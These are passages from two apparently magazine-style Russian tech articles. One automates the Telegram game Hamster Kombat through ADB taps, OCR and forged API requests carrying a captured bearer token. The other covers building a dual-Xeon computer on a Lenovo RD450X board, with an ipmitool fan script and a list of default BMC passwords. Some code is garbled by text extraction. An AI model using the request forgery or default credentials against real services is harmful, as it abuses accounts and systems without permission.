уче том того, что игра запус кает ся толь ко на телефо не, внут ри Telegram, ана- 
лиз тра фика мне показал ся весь ма тру доем кой задачей, поэто му я решил
начать с более оче вид ной реали зации.

ÀÂÒÎÌÀÒÈÇÀÖÈß ×ÅÐÅÇ ADB

Òàïàåì íà ýêðàí
На деюсь, что уста нав ливать ADB и вза имо дей ство вать через него с телефо- 
ном все уме ют, поэто му не буду лить воду про это, перей дем сра зу к делу.
Попыт ки запус тить игру в Windows закон чились неуда чей, пос коль ку игра
каким-то обра зом опре деля ет, что запуще на не на телефо не, и выводит
сооб щение об этом. Что ж, телефон — зна чит, телефон. Воору жаем ся
телефо ном с Android, рас чехля ем ADB. Воп рос с тапань ем по кноп ке лег ко
реша ется одной коман дой:

e:\Android\sdk\platform-tools\adb.exe  shell input tap 540 1800 

540 и 1800 — это коор динаты точ ки на экра не, в которую мы хотим «ткнуть
паль цем». Что бы не воз вра щать ся к это му вто рой раз, сра зу хочу ска зать
про так называ емую мор зянку. В игре каж дый день есть воз можность
получить допол нитель ный мил лион монет, вве дя с помощью азбу ки Мор зе
опре делен ный код. Точ ка кодиру ется корот ким нажати ем, тире — длин ным.
Делать корот кое нажатие мы уже уме ем, длин ное же дела ется вот такой
коман дой:

e:\Android\sdk\platform-tools\adb.exe  shell input swipe 500 1500 
500 1500 555 

Пер вые четыре чис ла — коор динаты начала и кон ца дви жения, а 555 — вре мя
дви жения. В нашем слу чае начало и конец сов пада ют.

Что бы миними зиро вать руч ную работу, мож но написать на Python скрипт,
который будет при нимать на вход сло во, переко диро вать его в пос ледова- 
тель ность точек и тире и через нажатия вво дить в игру. При веду основные
фун кции, которые понадо бят ся.

Фун кция, которая эму лиру ет ввод точ ки:

 def tochka():
     cmd = "adb.exe shell input tap 500 1500"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()

Фун кция, эму лиру ющая ввод тире:

 def tire():
     cmd = "adb.exe shell input swipe 500 1500 500 1500 500"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()

Фун кция, которая раз бира ет пос ледова тель ность точек и тире и отправ ляет
ее в телефон (про бел озна чает паузу в три секун ды, необ ходимую для отде- 
ления букв друг от дру га):

 def mz2tap(morze):
      for simvol in morze:

        match simvol:
            case ".":

               tochka()
            case "-":

               tire()
            case " ":

               time.sleep(3)

Пе рево да тек ста в азбу ку Мор зе касать ся не буду, не ради это го мы тут соб- 
рались. При мер исполь зования:

mz2tap(".--")
mz2tap(".")
mz2tap("-...")
mz2tap("...--")

С пер вой задачей по авто мати зации тапов разоб рались, теперь самое вре мя
занять ся ана лизом кар точек, что бы выбирать луч шую.

Ðàñïîçíàёì êàðòî÷êè
С кар точка ми приш лось повозить ся. К задаче я решил подой ти в лоб — про- 
лис тывать кар точки и делать скрин шоты, затем обре зать лиш нее и рас позна- 
вать то, что оста лось.

Для начала я наделал кучу скрин шотов с помощью скрип та на Python. Этот
код в цик ле дела ет скрин шот и ска чива ет его в каталог  на компь- 

юте ре:

cards_dir

 while True:
     cmd = "adb.exe shell screencap -p /sdcard/screencap.png"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()
     

 
cmd = f"adb.exe  pull /sdcard/screencap.png {os.path.join(

cards_dir, datetime.datetime.now().strftime("%Y-%m-%d_%H_%M_%S_%f"))}
.png"
       process = subprocess.Popen(cmd, stdout=subprocess.PIPE,
creationflags=0x08000000)
   process.wait()
   print(cmd)

Во вре мя работы скрип та я вруч ную откры вал каж дую кар точку на телефо не.
Пос ле завер шения сле дует уда лить оди нако вые скрин шоты:

  hash_list = []
  list_of_files = os.walk(cards_dir)

  dubl_count = 0
     for root, folders, files in list_of_files:

      for file in files:
          file_path = os.path.join(root, file)
          Hash_file = hashlib.md5(open(file_path, 'rb').read()).

hexdigest()

           if Hash_file not in hash_list:
           hash_list.append(Hash_file)
       else:

             dubl_count += 1
           os.remove(file_path)
           print(file_path)
   if dubl_count > 0:

   print(f"Удалено {dubl_count} дубликатов")
else:
   print("Нет дубликатов")

Для рас позна вания будем исполь зовать готовый модуль pytesseract. Очень
удоб ная шту ка, рас познать текст на скрин шоте мож но одной стро кой:

   string = pytesseract.image_to_string(image, lang='eng')

Од нако проб ный запуск показал, что в рас познан ный текст попада ет мно го
мусора. Явно нуж но обре зать кар тинку так, что бы на ней был толь ко текст.
При водить весь скрипт для обрезки не буду, что бы не заг ромож дать статью
рутиной, ска жу лишь, что исполь зовал модуль PIL, из которо го мне
в основном понадо бились фун кции  и .Image.crop Image.getpixel

Я поэк спе римен тировал на паре скрин шотов, что бы опре делять гра ницы
нуж ной области, и раз работал алго ритм, отсе кающий боль шие области, цвет
которых не сов пада ет с цве том фона и тек ста. Потом про верил на всех скрин- 
шотах, что бы убе дить ся, что все работа ет пра виль но.

Пос ле уда ления лиш него 99% скрин шотов нор маль но рас позна лись, нес-
тандар тные добил вруч ную, резуль тат свел в таб личку. Конеч но, выбирать
кар точки ста ло гораз до удоб нее, но тут приш ло осоз нание того, что не силь- 
но-то это помога ет. Пос ле каж дой покуп ки все рав но надо под клю чать
телефон к компь юте ру, запус кать скрипт, про верять резуль тат рас позна- 
вания. Получа ется, что быс трее пос ле покуп ки поп равлять таб лицу вруч ную.
Увы, в таком виде экспе римент был приз нан неудач ным.

Продолжение статьи →
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НЕ ТАПАЙ ХОМЯКА!
КАК Я АВТОМАТИЗИРОВАЛ ИГРУ

HAMSTER KOMBAT

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÀÂÒÎÌÀÒÈÇÀÖÈß ×ÅÐÅÇ ÇÀÏÐÎÑÛ

Àíàëèçèðóåì òðàôèê
Де вать ся некуда, поп робу ем поз накомить ся с игрой более деталь но. Пер вым
делом необ ходимо понять, что меша ет хомяку запус кать ся на компь юте ре.
Давай откро ем веб-вер сию телег рама в бра узе ре, зай дем в бота и поп робу- 
ем сно ва запус тить игру. Хомяк про сит ся к нам на телефон.

Стар товое сооб щение

От кры ваем кон соль раз работ чика, в которой вид но, что игра запус кает ся
в отдель ном .iframe

Кон соль раз работ чика

Взгля нем под робнее на параметр  у тега  и уви дим там длин нющую

стро ку парамет ров. Если прис мотреть ся, то мож но заметить параметр
, содер жащий зна чение . Поп робу ем заменить его

 и открыть получен ный URL в новом окне.

src iframe

tgWebAppPlatform web
android

По лучи лось!

Ура, игра нор маль но запус кает ся в бра узе ре. Теперь нич то не меша ет поэк- 
спе римен тировать с зап росами. Прин цип тут такой: откры ваем вклад ку
Network, очи щаем ее от ста рых зап росов, выпол няем какое-то дей ствие
в игре и смот рим, какие зап росы при этом отправ ляют ся на сер вер. Нап- 
ример, поп робу ем купить какую-нибудь кар точку.

Зап рос на покуп ку

Нес ложно заметить, что при этом отправ ляет ся POST-зап рос на сле дующий
адрес:

https://api.hamsterkombatgame.io/clicker/buy-upgrade 

Заг лянув на вклад ку Payload, мож но уви деть, что в зап росе переда ются два
парамет ра:

{upgradeId: "hamster_youtube_gold_button", timestamp: 1722086163455}

Па раметр  очень напоми нает наз вание кар точки, которую мы

купили, ну а параметр , судя по его наз ванию и содер жимому,
очень похож на вре мя в юник совом фор мате. Любопытс тва ради заг лянем
в ответ на зап рос (вклад ка Response), а там прос то счастье — куча раз ных
парамет ров игры, сре ди которых есть пол ные харак терис тики всех кар точек:

upgradeId
timestamp

{
    "clickerUser": {

        "id": "ХХХХХХХХХХХХ",
        "totalCoins": 5389463.6559000015,

        "balanceCoins": 4603871.6559000015,
        "level": 6,

        "availableTaps": 3500,
        "lastSyncUpdate": 1722086163,

        "exchangeId": "mexc",
   ...
    "upgradesForBuy": [
       {

            "id": "ceo",
            "name": "CEO",
            "price": 725363,

            "profitPerHour": 2789,
            "condition": null,

            "section": "PR&Team",
            "level": 16,

            "currentProfitPerHour": 2513,
            "profitPerHourDelta": 276,

            "isAvailable": true,
            "isExpired": false

       },
       {

            "id": "marketing",
            "name": "Marketing",
            "price": 8557,

            "profitPerHour": 838,
            "condition": null,

            "section": "PR&Team",
            "level": 9,

            "currentProfitPerHour": 718,
            "profitPerHourDelta": 120,

            "isAvailable": true,
            "isExpired": false

       },
       ...
   }
   ...
}

По луча ется, что, во-пер вых, мы можем покупать кар точки с помощью зап- 
роса, а во-вто рых, пос ле каж дой покуп ки будем получать в ответ обновлен- 
ные харак терис тики всех кар точек. Чудес но. И сто ило мучить ся с рас позна- 
вани ем скрин шотов...

Эк спе римен ты с самой боль шой круг лой кноп кой показа ли, что на сер вер
отправ ляет ся не каж дое нажатие. Игра опре деля ет серию пос ледова тель ных
кли ков, а затем отправ ляет сра зу количес тво нажатий и количес тво оставших- 
ся монет с помощью POST-зап роса на сле дующий URL:

https://api.hamsterkombatgame.io/clicker/tap 

И переда ет эти парамет ры:

     data = {
         "count": 500, # Число нажатий

        "availableTaps": 0,
        "timestamp": timestamp()

   }

Сле дует толь ко быть вни матель ным при рас чете парамет ра , что бы

при умно жении его на количес тво монет за один тап и вычита нии получен ного
зна чения из обще го количес тва дос тупных монет получа лось зна чение

.

count

availableTaps

Ïèøåì ñêðèïò
Те перь, ког да мы разоб рались с необ ходимы ми для вза имо дей ствия с сер- 
вером зап росами и их парамет рами, нас тало вре мя нем ножко покодить.
Пишем скрипт на Python:

 import requests
   from time import time

 def tap():
     url = "https://api.hamsterkombatgame.io/clicker/tap"

     data = {
        "count": 500,

        "availableTaps": 0,
        "timestamp": int(time())

   }

      response = requests.post(url, json=data)

      if response.status_code == 200:
       try:

             result = response.json()
            return result

          except ValueError as e:
           print(f"{e}")

            return None

    print(f"Error: {response.status_code, response.text}")
    return None

print(tap())

Пос ле запус ка получа ем в ответ ошиб ку 422. При чин воз никно вения такой
ошиб ки может быть весь ма мно го. Сер вер может ее вер нуть, если в целом
зап рос вер ный, но ему что-то не нра вит ся. Вни матель но смот рим на скрипт
и понима ем: в нем ниг де не ска зано, кто мы. Мы ука зали, что мы тап- 
нули 500 раз, но как игра пой мет, какой поль зователь это сде лал?

Ес ли пов ниматель нее изу чить ори гиналь ный зап рос на tap через DevTools
бра узе ра, то мож но заметить, что в заголов ках зап роса есть поле
Authorization, содер жащее вот такое зна чение:

Bearer 32432432432432432446t...cfC1y523432432432419 

Поп робу ем изме нить скрипт, вмес то стро ки с зап росом 

 напишем сле дующий код:

response = 
requests.post(...)

     key = '32432432432432432446t...cfC1y523432432432419'
      headers: dict = {

        'User-Agent': 'Mozilla/5.0 (Linux; Android 14; Nokia 3310; 
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.
3904.108 Mobile Safari/537.36',

        'Content-Type': 'application/json',
        "Authorization": f"Bearer {key}",

   }

       response = requests.post(url, json=data, headers=headers)

Те перь в ответ при ходит JSON c обновлен ной кон фигура цией, а в интерфей- 
се игры отоб ража ются изме нения, как буд то мы дей стви тель но тап нули ука- 
зан ное количес тво раз. Оста лось добавить цикл, который будет, нап ример,
пери оди чес ки тапать один раз, получать в ответ обновлен ный кон фиг,
в котором написа но, сколь ко раз еще есть смысл тапать, и во вто рой раз
посылать уже скор ректи рован ный зап рос.

Пол ный код я здесь при водить не буду — можешь написать свою реали- 
зацию в качес тве домаш него задания. Вооб ще говоря, смысл тапать про- 
пада ет доволь но быс тро, потому что доход от тапов ста новит ся несо изме- 
римо малым по срав нению с пас сивным доходом от покуп ки кар точек. У меня,
нап ример, тапы начис ляют ся со ско ростью три монеты в секун ду, а пас- 
сивный доход — 1500 монет в секун ду, так что смысл тапать мизер ный.

Поп робу ем луч ше добыть спи сок кар точек с ценами и при вес ти его
в удоб ный вид. Как ока залось при ана лизе зап росов, помимо зап роса
на покуп ку, есть еще зап рос на прос то обновле ние харак терис тик, он-то нам
и нужен:

https://api.hamsterkombatgame.io/clicker/upgrades-for-buy 

Ни каких парамет ров ему переда вать не надо, кро ме токена в заголов ке, а в
ответ он при сыла ет JSON с кучей парамет ров. Наша задача — дос тать отту да
парамет ры кар точек, вычис лить цену при бав ки для каж дой кар точки
и отсорти ровать их от самых дешевых к самым дорогим. У меня получи лось
так:

 def get_cards():
     key = '32432432432432432446t...cfC1y523432432432419'
      headers: dict = {

        'User-Agent': 'Mozilla/5.0 (Linux; Android 14; Nokia 3310; 
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.
3904.108 Mobile Safari/537.36',

        'Content-Type': 'application/json',
        "Authorization": f"Bearer {key}",

   }
     url = "https://api.hamsterkombatgame.io/clicker/upgrades-for-buy"
      response = requests.post(url, headers=headers)
      if response.status_code == 200:
       try:

             data = response.json()
             cards = []

              for task in data["upgradesForBuy"]:
      

     
               if task["isAvailable"] == True and task["isExpired"]
== False and task["profitPerHourDelta"] > 0:

                     section = task["section"]
                     name = task["name"]
                     price = task["price"]

                     profitPerHour = task["profitPerHourDelta"]
                       udel_cena = price / profitPerHour

                   cards.append(
                          [section, name, price, int(udel_cena)])

                sorted_cards = sorted(cards, key=lambda x: x[3])
              for card in sorted_cards:

               print(f"{card[3]}:\t{card[2]}:\t{card[1]}:\t{card[0]}
")

          except ValueError as e:
           print(f"{e}")

В резуль тате получа ем спи сок кар точек, отсорти рован ный по умень шению
«выгод ности»:

7:  551:    HamsterBook:    PR&Team 
7:  606:    X:  PR&Team 
7:  2000:   Risk management team:   PR&Team 
7:  7757:   Special Hamster Conference: Specials 
7:  2327:   Hamster YouTube Channel:    Specials 
7:  11000:  Web3 academy launch:    Specials 
8:  2205:   IT team:    PR&Team 
... 
200:    1000000:    TON + Hamster Kombat = Success: Specials 
1000:   5000000:    Call for BTC to rise:   Specials 
1000:   1000000:    HamsterWatch for soulmate:  Specials 
2628:   725363: CEO:    PR&Team 
4000:   12000000:   Business jet:   Specials 

Что и тре бова лось доказать, в общем-то. На а даль ше уже мож но сде лать
пол ностью авто мати чес кую тапал ку, которая будет пери оди чес ки отправ лять
на сер вер инфу о нажати ях кноп ки, зап рашивать баланс и при необ ходимос ти
покупать наибо лее выгод ные кар точки.

ÂÛÂÎÄÛ

Итак, мы научи лись:
ис поль зовать ADB для эму ляции нажатий;•
рас позна вать текст со скрин шотов, что бы управлять прог раммой;•
ана лизи ровать и под делывать сетевые зап росы.•

В моем слу чае начинать, конеч но, сто ило с изу чения дос тупной час ти кода
игры, а при менять ADB и OCR толь ко в самом край нем слу чае, если бы ока- 
залось, что код силь но обфусци рован или содер жит слож ную защиту. Тем
не менее знать о таких под ходах необ ходимо, потому что в дру гих усло виях ты
можешь стол кнуть ся как раз с такими слу чаями.

До пол нитель но отме чу, что при написа нии сво его скрип та для авто мати- 
зации обя затель но нуж но выделить вре мя на изу чение воз можных лимитов
на исполь зование API, таких как количес тво зап росов в секун ду, количес тво
акка унтов на одном IP и так далее, ина че мож но нар вать ся на бло киров ку
акка унта.

Что каса ется опти маль ных стра тегий в Hamster Kombat, мож но подумать,
что выгод нее: покупать любые дос тупные кар точки, лишь бы уве личи вать
доход ность, или подож дать какое-то вре мя и под копить на наибо лее выгод- 
ные кар точки, или пла ниро вать покуп ку нес коль ких кар точек в опре делен ной
пос ледова тель нос ти в зависи мос ти от их харак терис тик.

В общем, игры дол жны быть раз вле катель ными, и мы, я счи таю, раз влек- 
лись на сла ву!



Candidum
duospirit@gmail.com

GEEK

Не дав но мне попалась на гла за мат пла та
Lenovo RD450X с подоз ритель но низ кой
ценой, в пол тора раза дешев ле Huananzhi
X99 F8D. Она и сей час дешев ле. Очень
это было заман чиво, тем более что я дав но
хотел пощупать двух про цес сорную сис- 
тему.

Мо ей целью было соб рать еще один компь ютер для науч ных рас четов, одна- 
ко, как и в прош лый раз, эта сис тема подой дет и для дру гих целей. Соб рав
машину, я про тес тировал ее воз можнос ти на брут форсе хешей и генера тив- 
ных ней росетях, помимо науч ных вычис лений. Резуль татами я поделюсь
в кон це статьи.

INFO

О моем прош лом опы те читай в статье «

».

Ме гас- 
четы. Собира ем мощ ный компь ютер для вычис- 
лений

ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ

Мат пла та, которая меня заин тересо вала, под держи вает про цес соры Xeon
E5-26XX v3 и v4, то есть вро де как всю линей ку (кро ме E5-2696 v4 и E5-2687W
v4), но к это му вер немся поз же. Под держи вает ся память ECC REG — вплоть
до DDR4-2400, 16 сло тов, то есть мож но запихать до 1 Тбайт памяти. Так же
есть два PCI-E (3.0) x16 и четыре PCI-E x8, два USB 3.0. С дис ками тоже все
хорошо: на пла те два разъ ема Mini SAS 8087 и еще пара SATA. Ну и напос- 
ледок две сетеву хи 10 Гбит/с и, конеч но, BMC, встро енная видео (ASPEED
AST2400). И все это в форм-фак торе E-ATX. И все это мень ше чем за 10 тысяч
деревян ных!

INFO

С ценами сей час неоп ределен ность: с одной сто- 
роны, все опи сан ное железо уже старье
и дешеве ет, но с дру гой — кри зис чипов, кри зис
логис тики, полити чес кая нес табиль ность, сан- 
кции и тор говые вой ны, поэто му цена уже пару
лет ста биль но дер жится на уров не 10 тысяч руб- 
лей. Прав да, сей час на «Али экс прес се» ее
не купить — про дав цы опа сают ся сан кций. Так что
оста ются переку пы с «Ави то» и про чие спо собы
серого импорта.

ÊÎÌÏËÅÊÒ

Ïðîöåññîðû
Как я уже  в прош лой статье, наибо лее разум ный выбор про цес- 
сора для меня — это Xeon E5-2690 v4. У него дос таточ но ядер (14) и буст
на все ядра 3200 МГц, а цена впол не демок ратич ная. Да что там демок ратич- 
ная, эти про цы сто ят дешев ле кулеров, которые мы пос тавим!

рас ска зывал

По лучит ся по 135 Вт на камень, что для нашей пла ты, конеч но, мно гова то.
Штат но в ней сто ит что-то вро де 2640 v4 (90 Вт), но прак тика показа ла, что
пла та выдер жит. На дан ный момент у меня уже око ло года наработ ки 24/7.

В ито ге име ем 28 ядер, 56 потоков и 3200 МГц при пол ной наг рузке —
дос таточ но серь езно даже по нынеш ним вре менам. Конеч но, было бы кру то
впих нуть туда E5-2699 v4 или E5-2696 v4, но пер вый камень сто ит уж очень
дорого (крат но дороже E5-2690 v4 при быс тро дей ствии на 30% боль ше),
а E5-2696 v4 не запус кает ся, это я лич но про верил. Было грус тно.

Ïàìÿòü
Тут все хорошо, ста рые «Зионы» все ядные, и мож но даже в голову не брать,
какой у тебя под тип памяти и какой у нее ранк. Впро чем, тут все глад ко еще и
отто го, что б/у память, ско рее все го, с тех же сер веров, что и б/у про цы. Если
собира ешь ся занять все сло ты, то сто ит брать , ина че может
не завес тись на 2400 МГц. В общем, берем восемь пла нок по 64 Гбайт ECC
REG PC4-2400.

LRDIMM

У меня сто ят план ки фир мы Kllisre и вот уже год работа ют без нарека ний.
Повез ло, навер ное! Память — это то, на чем в этой машине мож но хорошо
сэконо мить, я собирал с основным при целом на кван товую химию, поэто му
памяти мно го, и это поч ти полови на сто имос ти. Для ней росетей, нап ример,
мож но и пос кром нее раза в четыре.

Äèñêè
На этот раз я выб рал чуть более скром ную кон фигура цию: 256 Гбайт SATA
SSD под сис тему, 512 Гбайт NVME SSD под рас четы и пара 4 Тбайт SATA HDD
для хра нения резуль татов. Мож но ска зать, что сюда я сбаг рил оста ток хар- 
дов. Учи тывая огромный объ ем памяти и хорошо работа ющее кеширо вание,
раз ницы в боль шинс тве рабочих задач меж ду SATA и NVME на глаз не замет- 
но.

Âèäåîêàðòû
Кван тово-химичес кий софт в нас тоящее вре мя дру жит с виде окар тами огра- 
ничен но. Но на этот раз хотелось, помимо кван товой химии, занять ся ИИ,
а он как раз замеча тель но дру жит с виде окар тами. Но уве рен ности, что эти
занятия прев ратят ся во что-то серь езное, у меня пока нет, так что на видяхе я
решил сэконо мить. Луч ший вари ант из бюд жетных — GTX 1080 Ti, цены на них
начина ются при мер но с 10 тысяч руб лей, и виде опа мяти там при лич но —
11 Гбайт. Короче, для баловс тва сой дет.

Áëîê ïèòàíèÿ
Блок питания я взял с некото рым запасом по мощ ности — DeepCool 850W.
Тут глав ное, что бы были два вось мипино вых про вода для CPU, ну а шес- 
типино вый и 6+2-пиновый для виде окар ты сей час есть в любом бло ке. Этот
блок питания у меня работа ет уже вто рой год 24/7.

Êîðïóñ è êóëåðû
Вот тут уже чуть хит рее: нам нужен кор пус E-ATX, при чем такой, что бы мож но
было орга низо вать хорошую про дува емость. Отлично подошел DeepCool
Matrexx 55 Mesh. Дешево, сер дито и сим патич но! Я купил его в минималь ной
ком плек тации и добавил пять кулеров ARCTIC P14 ACFAN00136A: три
на фрон таль ной панели на вдув и два свер ху на выдув. Бренд тут не так важен,
глав ное, что бы кулеры были четырех пиновые и име ли мак сималь но воз- 
можную про изво дитель ность. У ука зан ных кулеров про изво дитель ность 72,5
CFM. Вен тилятор на зад ней панели тоже луч ше заменить более про изво- 
дитель ным, нап ример ID-Cooling XF-120, он выда ет 76,16 CFM.

По чему нуж ны имен но четырех пиновые? Потому что в такой кон фигура ции
важен кон троль обо ротов. Без наг рузки сис тема будет дос таточ но холод ной,
и нет никако го резона гонять через нее  лиш нюю пыль
и кос пле ить пылесос. С дру гой сто роны, под пол ной наг рузкой греть ся сис- 
тема будет очень при лич но, и тут луч ше разог нать кулеры как сле дует.
Хороший вари ант — взять род ной 2U-кор пус с рук, но это может обой тись
дороже материн ской пла ты.

ра диоак тивный пепел

ÐÅØÀÅÌ ÏÐÎÁËÅÌÛ

На чина ем собирать и что видим? Материн ская пла та, конеч но, на мес то вста- 
ет нор маль но, но неяс но, куда под клю чать перед нюю панель! Черт с ним
с USB, но на перед ней панели есть еще небес полез ная кноп ка вклю чения.
Начина ем гуг лить, и тут при ходит понима ние, почему пла та была такой
дешевой. Дело в том, что к ней прак тичес ки нет докумен тации, ману ал толь ко
на китай ском и не для пла ты, а для OEM-сер вера Lenovo RD450X, а там нет
никакой рас пинов ки разъ емов.

К счастью, на форуме  есть пос вящен ная этой пла те тема,
сей час она уже раз рослась, и энту зиас ты успе ли мно го чего накопать, а вот
год назад все было гораз до хуже. Тем не менее там есть упо мяну тый выше
ману ал и рас пинов ка разъ ема.

overclockers.ru

Пос ле дли тель ного рас смат ривания фотог рафий этой пла ты я при шел
к выводу, что нас инте ресу ют разъ емы, ука зан ные на кар тинке ниже.

Ин тересу ющие нас разъ емы

Смот рим и понима ем, что у них шаг 2 мм и без переход ника тут не обой тись.
Судя по отзы вам, мно гие про дав цы ком плек туют пла ту нес коль кими переход- 
никами и перемыч кой, без которой пла та не стар тует.

Пе реход ник

Пе ремыч ка

А еще встре чает ся целая пла та-переход ник, которую тоже могут вклю чить
в ком плект.

Пла та-переход ник

Моя была уком плек тована толь ко перемыч кой (и на том спа сибо), поэто му,
вос поль зовав шись рас пинов кой с форума, я спа ял такой переход ник сам —
хорошо, что под рукой был нуж ный разъ ем.

Рас пинов ка с форума

Мой переход ник

И, как буд то это го недос таточ но, разъ емы выведе ны вбок, точ нее вниз, если
смот реть в кор пусе. А это зна чит, что не вый дет под клю чить наш переход ник,
не вне ся модифи кации в кор пус. Что ж, мы люди прос тые! Берем дре мель
и про пили ваем окно нуж ного раз мера.

Мо дифи циро ван ный кор пус

Пос ле допили вания все помеща ется. Сле дующей труд ностью была зад няя
заг лушка в кор пус, она нем ного не сов падала с разъ ема ми на материн ской
пла те, тут помог ли нож ницы по метал лу (там бук валь но пара мил лимет ров),
полови ну бор тика приш лось отре зать. Пос ле это го все вста ло как надо. Такая
вот рас пла та за OEM. Теперь мож но зак репить материн скую пла ту и прис- 
тупить к кабель-менед жмен ту.

Ка бель-менед жмент

Не забыва ем про переход ник.

Пе реход ник

Все готово! А вот про замороч ки с охлажде нием сто ит погово рить осо бо.

Продолжение статьи →
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ЗАДАЧА ПРО ДВА
КАМНЯ

СОБИРАЕМ КОМПЬЮТЕР
С СЕРВЕРНОЙ МАТПЛАТОЙ LENOVO

RD450X

GEEK  НАЧАЛО СТАТЬИ←

ÎÕËÀÆÄÅÍÈÅ ÏÐÎÖÅÑÑÎÐÎÂ

У меня воз никла проб лема с под бором кулеров для про цес соров. Дело в том,
что пла та сер верная и креп ления там Narrow ILM 94 × 56. Это неп рият но, так
как у бытовых «башен» креп ление Square ILM 80 × 80. Тут надо быть вни- 
матель ным, эти креп ления несов мести мы меж ду собой.

Наг лядные отли чия Narrow ILM и Square ILM

Впро чем, сущес тву ют баш ни со смен ными креп лени ями и плас тиковый кре- 
пеж для Narrow ILM, но с ним есть неп рият ность: он широко ват и поч ти упи- 
рает ся в память, поэто му если на план ках памяти сто ят ради ато ры, то умес- 
тить всё вмес те не вый дет.

Плас тиковое креп ление Narrow ILM

Что бы избе жать этих проб лем, я решил взять сер верные кулеры — они, мож- 
но ска зать, род ные, и с ними все хорошо, кро ме цены: сто ят они дороже про- 
цес соров... Впро чем, проб лем я таки не избе жал, и пер воначаль но при обре- 
тен ные низ копро филь ные кулеры под кор пус 2U ока зались сла бова ты
(70 гра дусов в пол ной наг рузке) и шумели при мер но как фен!

Низ копро филь ные кулеры 2U

В целом это решение ока залось неп ригод ным, приш лось рас кошелить ся
и взять две 3U-баш ни. Вот с ними все хорошо, тем перату ра око ло 55 в пол- 
ной наг рузке, и шума зна читель но мень ше. Как говорит ся, ску пой пла тит
дваж ды.

Баш ня 3U

Про управле ние обо рота ми кулера сто ит погово рить отдель но. Нес мотря
на то что пла та сер верная и име ет BMC, кон троль обо ротов кулеров там
не пре дус мотрен, что очень неудоб но. В интерне те пишут, что, ког да в пла те
сто ят про цы, с которы ми она пос тавля лась, работа ет какой-то пре дус танов- 
ленный про филь, одна ко с про чими про цами кулеры всег да работа ют на пол- 
ную. Наши 2690 v4 — имен но такие про цес соры. Это проб лема, так как на
холос том ходу боль шой поток воз духа спо собс тву ет активно му накоп лению
пыли, а уж про шум я мол чу. При этом под пол ной наг рузкой нуж но хорошее
охлажде ние, и там пол ные обо роты умес тны.

Ко роче, активное управле ние ско ростью вра щения кулеров прос то необ- 
ходимо. Эту проб лему я решил под клю чени ем внеш него кон трол лера с USB-
интерфей сом, о котором я тоже писал . Решение, воз можно, не очень
эле ган тное, но рабочее и дос таточ но надеж ное.

статью

Не так дав но  таки рас копали спо соб штат ного кон тро ля обо- 
ротов кулеров с помощью ути литы ipmitool. К нес частью, ког да я собирал
машину, ту статью я не нашел, а может, ее и вов се не было. Так или ина че,
сей час я бы поп робовал исполь зовать ipmitool. При веден ный ниже код дол- 
жен работать, одна ко я его не про верял, поэто му рас смат ривай его как кон- 
цепт.

эн тузи асты

#!/bin/zsh

#!/bin/zsh

30 OLDPWM=
30 PWM=

# Если файл /tmp/old_pwm существует, выход с кодом 2. Это 
предотвращает повторный запуск скрипта, если он уже выполняется.

   if [ -e /tmp/old_pwm ]; then
2    exit 

fi

# Будем в цикле проверять температуру и регулировать скорость 
вентилятора.

    while [ true ]; do
   # Получаем текущую температуру процессора утилитой sensors.
     |   |   temp=$(sensors | grep "Package id 1:" awk '{print $4}' tr -d
'+°C')
   temp=${temp%.*}

   # Получаем предыдущее значение широтно-импульсной модуляции из 
файла, если он существует.
   # Это значение будет использоваться для сравнения с новым 
значением, чтобы определить, нужно ли изменять скорость вентилятора.
      if [ -e /tmp/old_pwm ]; then

        OLDPWM=$(head -1 /tmp/old_pwm)
   fi

   # Устанавливаем начальное значение ШИМ на 30. Далее будем 
корректировать это значение в зависимости от текущей температуры.
   30 PWM=
       40  40  if [ $temp -ge ]; then PWM= ; fi

    45  50     if [ $temp -ge ]; then PWM= ; fi
    50  70     if [ $temp -ge ]; then PWM= ; fi
    55  80     if [ $temp -ge ]; then PWM= ; fi
    60  90     if [ $temp -ge ]; then PWM= ; fi
    65  100     if [ $temp -ge ]; then PWM= ; fi

   # Сохраняем новое значение ШИМ в файл /tmp/old_pwm.
     echo $PWM > /tmp/old_pwm 

   # Если новое значение ШИМ отличается от предыдущего, изменяем 
скорость вентилятора.
   # Используем утилиту ipmitool для отправки команды на изменение 
ШИМ.
         if [[ $PWM != $OLDPWM ]]; then
       sudo ipmitool raw 0x2e 0x30 00 00 $PWM
   fi

   # Ждем 30 с перед следующим циклом.
   30 sleep 
done

В общем, чита ем тем перату ру из вывода , обра баты ваем и выс тавля- 
ем обо роты кулеров, но на этот раз через .

sensors
ipmitool

ÏÐÎ×ÈÅ ÎÑÎÁÅÍÍÎÑÒÈ

Есть у этой материн ской пла ты еще нес коль ко осо бен ностей. Нап ример, пер- 
вое вклю чение пос ле дол гого пре быва ния в обес точен ном виде может занять
мно го вре мени. Однажды она стар товала боль ше пят надца ти минут! Поэто му
не сто ит панико вать рань ше вре мени, иног да нуж но прос то подож дать. Надо
так же ска зать, что до того момен та, как заг рузит ся кон трол лер BMC,
материн ская пла та не реаги рует на кноп ку вклю чения, а заг ружа ется он око ло
минуты.

Пос ле пер вого запус ка перезаг рузка про исхо дит уже зна читель но быс- 
трее, но это тоже занима ет пару минут. При ходит ся ждать, пока кон трол лер
про ведет диаг ности ку обо рудо вания и памяти, а ее у меня мно го. Пла та нор- 
маль но стар тует в режиме , одна ко с записью номер  могут быть

проб лемы, осталь ные номера работа ют кор рек тно.

EFISTUB 0000

У пла ты есть BMC, но воз можнос ти там скуд ные. Впро чем, может быть, я
не оце нил их, пос коль ку исполь зую пла ту не впол не по наз начению. Дос туп
к BMC воз можен толь ко с отдель ного сетево го интерфей са.

С логином и паролем тоже может быть некото рая заг воз дка, но извес тны
стан дар тные пары:

lenovo1/Lenovo123 
lenovo/len0vO 
ADMIN/ADMIN 
albert/admin 

У меня сра бота ла пос ледняя пара.
В любом слу чае в UEFI есть нас трой ка поль зовате лей BMC, там мож но

и поль зовате ля добавить, и пароль сбро сить.
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Итак, вот что у меня получи лось в ито ге:
CPU: 2 × Xeon 2690 v4•
GPU: Nvidia GTX 1080 Ti•
RAM: 512 Гбайт (8 × 64) ECC REG DDR4 2400 МГц•
